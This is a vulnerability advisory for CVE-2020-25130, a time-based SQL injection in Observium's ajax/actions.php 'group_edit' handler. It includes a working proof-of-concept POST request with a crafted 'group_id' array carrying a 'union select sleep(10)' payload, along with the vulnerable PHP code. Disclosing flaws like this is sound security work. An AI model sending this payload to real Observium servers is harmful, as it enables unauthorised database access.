

CVE-2020-25130

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3 Authenticated Time Based SQL Injection
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6 [Description]
7 Penetration test has shown that the application is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL
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10
11 [Additional Information]
12
13 Please note that Proof of Concepts regarding SQL injection points works even without the "debug" parameter that was included in the request
14
15 We want to mention that the source code of Observium was downloaded from the following URL:
16 http://www.observium.org/observium-community-latest.tar.gz
17
18 We have tested this vulnerability on CE and PRO version (Paid), both softwares were vulnerable.
19
20 Vulnerability was exploited by sending crafted variable type "Array". Core sanitization does not properly handle this type of parameters.
21
22
23
24 Example request that allow inject SQL queries by sending crafted Array "group_id[]" parameter:
25
26 POST /ajax/actions.php?debug=1 HTTP/1.1
27 Host: localhost
28 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
29 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
30 Accept-Language: pl,en-US;q=0.7,en;q=0.3
31 Accept-Encoding: gzip, deflate
32 Connection: close
33 Cookie: OBSID=6or1kgf7v8lsoveiaid3gtvlp0lsatja; observium_screen_ratio=2; observium_screen_resolution=1680x1050
34 Upgrade-Insecure-Requests: 1
35 DNT: 1
36 Content-Type: application/json
37 Content-Length: 80
38
39 {"action":"group_edit",
40 "group_id":["-1 union select sleep(10),2,3,4,5,6,7,8"]}
41
42 Server response time: over 10 seconds.
43
44
45 Below we present vulnerable code:
46
47 /var/opt/observium/html/ajax/actions.php
48
49 40 case "group_edit":
50 41
51 42 if (dbFetchRow("SELECT * FROM `groups` WHERE `group_id` = ?", array($vars['group_id'])))
52 43 {
53 44
54 45 $rows_updated = dbUpdate(array('group_descr' => $vars['group_descr'], 'group_name' => $vars['group_name'], 'group_assoc' => $
55 46 'groups', 'group_id' => '?',
56 47 array($vars['group_id']));
57
58
59
60
61 -----
62
63 [VulnerabilityType Other]
64 Time Based SQL Injection
65
66 -----
67
68 [Vendor of Product]
69 https://www.observium.org/
70
71 -----
72
73 [Affected Product Code Base]
74 Professional, Enterprise & Community 20.8.10631
75
76 -----
77
78 [Affected Component]
79 Ajax/Actions
80
81 -----
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82
83 [Attack Type]
84 Remote - authenticated users
85
86 -----
87
88 [Reference]
89 https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
90 https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
91 https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
92 https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
93 https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
94 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet.md
95 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md
96 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.md
97 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md
98
99 -----
100
101 [Discoverer]
102 Mariusz Popławski
103
104 -----
105
106
107
108 Mariusz Popławski / AFINE.com team
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